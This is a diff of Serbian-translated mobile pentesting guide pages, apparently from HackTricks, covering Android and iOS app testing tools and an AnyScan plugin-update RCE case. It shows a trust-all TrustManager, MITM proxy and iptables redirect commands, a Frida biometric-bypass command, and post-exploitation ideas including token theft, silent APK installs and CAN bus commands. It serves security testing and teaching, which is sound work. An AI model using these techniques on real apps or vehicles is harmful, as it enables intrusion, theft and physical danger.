Većina aplikacija će koristiti **internu SQLite bazu podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** sačuvane jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
|
||||
Većina aplikacija će koristiti **internu SQLite bazu podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** koji su sačuvani jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
|
||||
Baze podataka bi trebale biti locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Ako baza podataka čuva poverljive informacije i je **šifrovana**, ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**.
|
||||
@ -317,7 +317,7 @@ Takođe zapamtite da kod aktivnosti počinje u **`onCreate`** metodi.
|
||||
|
||||
Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **obići** mehanizme **autentifikacije** **da biste joj pristupili.**
|
||||
|
||||
[**Naučite kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
|
||||
[**Saznajte kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Takođe možete pokrenuti eksportovanu aktivnost iz adb:
|
||||
|
||||
@ -333,7 +333,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
**Curjenje osetljivih informacija**
|
||||
|
||||
**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izvezenu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, došlo je do curenja osetljivih informacija.
|
||||
**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izvezenu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, dolazi do curenja osetljivih informacija.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
@ -398,7 +398,7 @@ Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o
|
||||
### Inspekcija i verifikacija transportnog sloja
|
||||
|
||||
- **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza.
|
||||
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čovek u sredini" (MITM), omogućavajući napadačima da dešifruju podatke.
|
||||
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čoveka u sredini" (MITM), omogućavajući napadačima da dešifruju podatke.
|
||||
- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta.
|
||||
|
||||
#### Verifikacija sertifikata
|
||||
@ -411,9 +411,9 @@ SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odn
|
||||
|
||||
#### Inspekcija saobraćaja
|
||||
|
||||
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instaliranja ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
Aplikacije koje cilјaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Ako se koristi **Flutter**, potrebno je da pratite uputstva na [**ovoj stranici**](flutter.md). To je zato što, samo dodavanje sertifikata u skladište neće raditi jer Flutter ima svoju listu važećih CA.
|
||||
|
||||
@ -434,20 +434,20 @@ Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljn
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) je alat za dinamičku instrumentaciju za programere, inženjere obrnutog inženjeringa i istraživače sigurnosti.\
|
||||
**Možete pristupiti pokrenutim aplikacijama i povezati metode u vreme izvođenja da promenite ponašanje, promenite vrednosti, izvučete vrednosti, pokrenete različit kod...**\
|
||||
**Možete pristupiti pokrenutim aplikacijama i povezati metode u vreme izvođenja da promenite ponašanje, promenite vrednosti, izdvojite vrednosti, pokrenete različit kod...**\
|
||||
Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida.
|
||||
|
||||
- Naučite kako koristiti Frida: [**Frida tutorijal**](frida-tutorial/index.html)
|
||||
- Neki "GUI" za akcije sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection je odličan za automatizaciju korišćenja Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Možete pronaći neke sjajne Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Pokušajte da zaobiđete mehanizme protiv debagovanja / anti-frida učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Pokušajte da zaobiđete anti-debugging / anti-frida mehanizme učitavajući Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Dump Memorije - Fridump**
|
||||
|
||||
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemoničke fraze.
|
||||
|
||||
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dump-ovati memoriju aplikacije sa:
|
||||
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dumpovati memoriju aplikacije sa:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -456,7 +456,7 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Ovo će isprazniti memoriju u ./dump folder, a tamo možete koristiti grep sa nečim poput:
|
||||
Ovo će isprazniti memoriju u ./dump folder, i tamo možete koristiti grep sa nečim poput:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
@ -476,15 +476,15 @@ Korišćenjem sledećeg Frida skripta može biti moguće **zaobići autentifikac
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Pozadinske slike**
|
||||
### **Pozadine slika**
|
||||
|
||||
Kada stavite aplikaciju u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u fokus, počinje da učitava sliku pre aplikacije, pa izgleda kao da je aplikacija učitana brže.
|
||||
Kada stavite aplikaciju u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u fokus, počinje da učitava sliku pre aplikacije, tako da izgleda kao da je aplikacija učitana brže.
|
||||
|
||||
Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup snimku može **ukrasti te informacije** (napomena: potrebno je imati root pristup da biste mu pristupili).
|
||||
|
||||
Snimci se obično čuvaju na: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android pruža način da **spreči snimanje ekrana postavljanjem FLAG_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući da se pojavi na snimcima ekrana ili da se vidi na nesigurnim ekranima.
|
||||
Android pruža način da se **spreči hvatanje ekrana postavljanjem FLAG_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući njegovo pojavljivanje na snimcima ekrana ili pregled na nesigurnim ekranima.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -511,7 +511,7 @@ Verovatno znate o ovim vrstama ranjivosti sa weba. Morate biti posebno oprezni s
|
||||
|
||||
- **SQL Injection:** Kada se bavite dinamičkim upitima ili Content-Providers, osigurajte da koristite parametarske upite.
|
||||
- **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za bilo koje WebViews (onemogućena po defaultu). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews bi trebale imati onemogućen pristup fajl sistemu (omogućen po defaultu) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews bi trebale imati onemogućen pristup sistemu datoteka (omogućen po defaultu) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: U nekoliko slučajeva kada Android aplikacija završi sesiju, kolačić nije opozvan ili može čak biti sačuvan na disku.
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
@ -540,16 +540,16 @@ MobSF takođe omogućava **diff/Compare** analizu i integraciju **VirusTotal** (
|
||||
**MobSF** može biti veoma koristan za **dinamičku analizu** u **Android**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\
|
||||
**MobSF dinamički analizer** može:
|
||||
|
||||
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshotovi koje ste napravili, screenshotovi napravljeni od strane "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshotove, morate pritisnuti kada želite screenshot ili morate pritisnuti "**Exported Activity Tester**" da biste dobili screenshotove svih eksportovanih aktivnosti.
|
||||
- Zabeležiti **HTTPS saobraćaj**
|
||||
- Koristiti **Frida** za dobijanje **runtime** **informacija**
|
||||
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi koje je napravio "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshot-ove, treba da pritisnete kada želite screenshot ili treba da pritisnete "**Exported Activity Tester**" da biste dobili screenshot-ove svih eksportovanih aktivnosti.
|
||||
- Zabeleži **HTTPS saobraćaj**
|
||||
- Koristi **Frida** za dobijanje **runtime** **informacija**
|
||||
|
||||
Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **hvatanje** saobraćaja. Hvataće samo saobraćaj iz testirane aplikacije.
|
||||
|
||||
**Frida**
|
||||
|
||||
Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje zanimljivih API-ja**.\
|
||||
MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshotove** njih i **sačuvati** ih za izveštaj.
|
||||
Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje interesantnih API-a**.\
|
||||
MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshot-ove** njih i **sačuvati** ih za izveštaj.
|
||||
|
||||
Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da biste videli logove generisane Frida skriptama i "**Live API Monitor**" da biste videli sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\
|
||||
MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate vaših Frida skripti u MobSF koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
|
||||
@ -563,9 +563,9 @@ Pored toga, imate neke pomoćne Frida funkcionalnosti:
|
||||
- **Capture String Comparisons**: Može biti veoma korisno. **Prikazaće 2 stringa koja se upoređuju** i da li je rezultat bio True ili False.
|
||||
- **Enumerate Class Methods**: Unesite ime klase (kao "java.io.File") i ispisuje sve metode klase.
|
||||
- **Search Class Pattern**: Pretražuje klase po obrascu
|
||||
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko zanimljivih Android API metoda.
|
||||
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko interesantnih Android API metoda.
|
||||
|
||||
Kada odaberete pomoćni modul koji želite da koristite, potrebno je da pritisnete "**Start Intrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
|
||||
Kada izaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -595,11 +595,11 @@ Kada završite dinamičku analizu sa MobSF, možete pritisnuti na "**Start Web A
|
||||
### Pomoćna dinamička analiza sa Inspeckage
|
||||
|
||||
Možete preuzeti alat sa [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Ovaj alat koristi neke **Hooks** da vam omogući da znate **šta se dešava u aplikaciji** dok vršite **dinamičku analizu**.
|
||||
Ovaj alat koristi neke **Hooks** da vam pokaže **šta se dešava u aplikaciji** dok vršite **dinamičku analizu**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Ovo je **sjajan alat za izvođenje statičke analize sa GUI-jem**
|
||||
Ovo je **sjajan alat za izvođenje statičke analize sa GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -637,7 +637,7 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn je **crossplatform** alat koji pomaže programerima, lovcima na greške i etičkim hakerima da izvrše [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
|
||||
StaCoAn je **crossplatform** alat koji pomaže programerima, lovcima na greške i etičkim hakerima u izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
|
||||
|
||||
Koncept je da prevučete i ispustite datoteku vaše mobilne aplikacije (datoteka .apk ili .ipa) na StaCoAn aplikaciju i ona će generisati vizuelni i prenosivi izveštaj za vas. Možete prilagoditi postavke i liste reči kako biste dobili prilagođeno iskustvo.
|
||||
|
||||
@ -657,7 +657,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** je alat čija je glavna svrha da detektuje i upozori korisnika na potencijalno zloćudno ponašanje koje razvija Android aplikacija.
|
||||
|
||||
Detekcija se vrši **statističkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard).
|
||||
Detekcija se vrši **statčkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: Ekstrakcija telekomunikacionih identifikatora, presretanje audio/video toka, modifikacija PIM podataka, izvršavanje proizvoljnog koda...
|
||||
```
|
||||
@ -667,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza okvir. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da ovu zadatak učini lakšim i prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
**MARA** je **M**obilna **A**plikacija **R**everzno inženjerstvo i **A**naliza Framework. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da olakša ovaj zadatak i učini ga prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
|
||||
Može da:
|
||||
|
||||
@ -682,13 +682,13 @@ Može da:
|
||||
|
||||
Koristan za otkrivanje malvera: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuskacija/Deobfuskacija koda
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Imajte na umu da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Sa [Vikipedije](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je alat otvorenog koda za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da otkrije i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
Sa [Vikipedije](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
|
||||
ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja.
|
||||
|
||||
@ -702,15 +702,15 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f
|
||||
- proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovali;
|
||||
- uraditi neku beskorisnu obfuskaciju da bi se izgubilo nekoliko minuta vremena od reverzera;
|
||||
- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX datoteku;
|
||||
- konačno učitati rezultantni DEX kao Resurs koristeći metodu `loadDex`.
|
||||
- konačno učitati dobijeni DEX kao Resurs koristeći metodu `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard obrnuta proces obfuskacije koji izvode alati za obfuskaciju Android-a. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
|
||||
**DeGuard obrnuto izvršava proces obfuskacije koji su izvršili alati za obfuskaciju Android-a. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
|
||||
|
||||
Možete da otpremite obfuskovani APK na njihovu platformu.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov javni API Gemini.
|
||||
|
||||
@ -720,7 +720,7 @@ To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplika
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore**, i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
|
||||
APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore** i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
|
||||
|
||||
### Manual
|
||||
|
||||
@ -730,7 +730,7 @@ APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **ko
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih okvira, tutorijala i laboratorija od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
|
||||
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-a, tutorijala i laboratorija od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
Mnoge Android aplikacije implementiraju **svoje “plugin” ili “dinamičke funkcije” kanale za ažuriranje** umesto korišćenja Google Play prodavnice. Kada je implementacija nesigurna, napadač sposoban da presretne saobraćaj može da obezbedi **arbitrarni nativni kod koji će biti učitan unutar procesa aplikacije**, što dovodi do potpune Remote Code Execution (RCE) na uređaju – i u nekim slučajevima na bilo kom spoljnjem uređaju koji kontroliše aplikacija (automobili, IoT, medicinski uređaji …).
|
||||
|
||||
Ova stranica sumira lanac ranjivosti iz stvarnog sveta pronađen u Xtool **AnyScan** aplikaciji za dijagnostiku automobila (v4.40.11 → 4.40.40) i generalizuje tehniku kako biste mogli da auditujete druge Android aplikacije i iskoristite pogrešnu konfiguraciju tokom angažovanja red-tima.
|
||||
Ova stranica sumira lanac ranjivosti iz stvarnog sveta pronađen u Xtool **AnyScan** aplikaciji za dijagnostiku automobila (v4.40.11 → 4.40.40) i generalizuje tehniku kako biste mogli da auditujete druge Android aplikacije i iskoristite pogrešnu konfiguraciju tokom red-team angažovanja.
|
||||
|
||||
---
|
||||
## 1. Identifikacija nesigurnog TLS TrustManager-a
|
||||
## 1. Identifying an Insecure TLS TrustManager
|
||||
|
||||
1. Decompile-ujte APK sa jadx / apktool i locirajte mrežni stek (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Potražite **prilagođeni `TrustManager`** ili `HostnameVerifier` koji slepo veruje svakom sertifikatu:
|
||||
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
@ -22,7 +22,7 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. Ako je prisutan, aplikacija će prihvatiti **bilo koji TLS sertifikat** → možete pokrenuti transparentni **MITM proxy** sa sertifikatom potpisanim od strane sebe:
|
||||
3. Ako je prisutan, aplikacija će prihvatiti **bilo koji TLS sertifikat** → možete pokrenuti transparentni **MITM proxy** sa sertifikatom koji ste sami potpisali:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
@ -55,7 +55,7 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. Napravite Zlonamerni Plugin
|
||||
## 3. Napravite Zloćudni Plugin
|
||||
|
||||
1. Izaberite bilo koji legitimni plugin ZIP i zamenite nativnu biblioteku sa vašim payload-om:
|
||||
```c
|
||||
@ -104,14 +104,14 @@ Pošto je dodatak keširan na disku, backdoor **ostaje aktivan nakon ponovnog po
|
||||
## 5. Ideje za post-eksploataciju
|
||||
|
||||
* Ukrao sesijske kolačiće, OAuth tokene ili JWT-ove koje aplikacija čuva.
|
||||
* Ostaviti APK druge faze i tiho ga instalirati putem `pm install` (aplikacija već ima `REQUEST_INSTALL_PACKAGES`).
|
||||
* Zloupotrebiti bilo koji povezani hardver – u AnyScan scenariju možete slati proizvoljne **OBD-II / CAN bus komande** (otključavanje vrata, onemogućavanje ABS-a, itd.).
|
||||
* Postaviti APK druge faze i tiho ga instalirati putem `pm install` (aplikacija već ima `REQUEST_INSTALL_PACKAGES`).
|
||||
* Zloupotrebljavati bilo koji povezani hardver – u AnyScan scenariju možete slati proizvoljne **OBD-II / CAN bus komande** (otključavanje vrata, onemogućavanje ABS-a, itd.).
|
||||
|
||||
---
|
||||
### Lista za detekciju i ublažavanje (plavi tim)
|
||||
|
||||
* NIKADA ne šaljite produkcijsku verziju sa prilagođenim TrustManager/HostnameVerifier koji onemogućava validaciju sertifikata.
|
||||
* Ne preuzimajte izvršni kod sa spolja, osim Google Play-a. Ako *morate*, potpišite svaki dodatak istim **apkSigning v2** ključem i proverite potpis pre učitavanja.
|
||||
* Ne preuzimajte izvršni kod sa spolja van Google Play-a. Ako *morate*, potpišite svaki dodatak istim **apkSigning v2** ključem i proverite potpis pre učitavanja.
|
||||
* Zamenite slabu/hard-kodiranu kriptografiju sa **AES-GCM** i rotirajućim ključem na serverskoj strani.
|
||||
* Validirajte integritet preuzetih arhiva (potpis ili barem SHA-256).
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Osnove
|
||||
## iOS Osnovi
|
||||
|
||||
{{#ref}}
|
||||
ios-basics.md
|
||||
@ -37,7 +37,7 @@ Neki zanimljivi dekompilatori za iOS - IPA datoteke:
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
Preporučuje se korišćenje alata [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) za automatsku statičku analizu IPA datoteke.
|
||||
Preporučuje se korišćenje alata [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) za izvođenje automatske Staticke Analize IPA datoteke.
|
||||
|
||||
Identifikacija **zaštita prisutnih u binarnom kodu**:
|
||||
|
||||
@ -47,7 +47,7 @@ Identifikacija **zaštita prisutnih u binarnom kodu**:
|
||||
otool -hv <app-binary> | grep PIE # Trebalo bi da uključuje PIE flag
|
||||
```
|
||||
|
||||
- **Stack Canaries**: Da bi se proverila integritet stoga, ‘kanarin’ vrednost se postavlja na stog pre pozivanja funkcije i ponovo se proverava kada funkcija završi.
|
||||
- **Stack Canaries**: Da bi se proverila integritet staka, ‘kanarin’ vrednost se postavlja na stek pre pozivanja funkcije i ponovo se proverava kada funkcija završi.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # Trebalo bi da uključuje simbole: stack_chk_guard i stack_chk_fail
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Osnovna Dinamička Analiza
|
||||
|
||||
Pogledajte dinamičku analizu koju vrši [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Moraćete da se krećete kroz različite prikaze i komunicirate sa njima, ali će se povezati sa nekoliko klasa dok radite druge stvari i pripremiće izveštaj kada završite.
|
||||
Pogledajte dinamičku analizu koju vrši [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Moraćete da se krećete kroz različite prikaze i interagujete sa njima, ali će se povezivati sa nekoliko klasa dok radite druge stvari i pripremiće izveštaj kada završite.
|
||||
|
||||
### Listing Instaliranih Aplikacija
|
||||
|
||||
@ -166,7 +166,7 @@ Struktura **IPA datoteke** je suštinski kao **zipped package**. Preimenovanjem
|
||||
|
||||
- **`Info.plist`**: Ova datoteka sadrži specifične konfiguracione detalje aplikacije.
|
||||
- **`_CodeSignature/`**: Ovaj direktorijum uključuje plist datoteku koja sadrži potpis, osiguravajući integritet svih datoteka u paketu.
|
||||
- **`Assets.car`**: Kompresovana arhiva koja čuva datoteke resursa poput ikona.
|
||||
- **`Assets.car`**: Kompresovana arhiva koja čuva datoteke sa resursima poput ikona.
|
||||
- **`Frameworks/`**: Ova fascikla sadrži nativne biblioteke aplikacije, koje mogu biti u obliku `.dylib` ili `.framework` datoteka.
|
||||
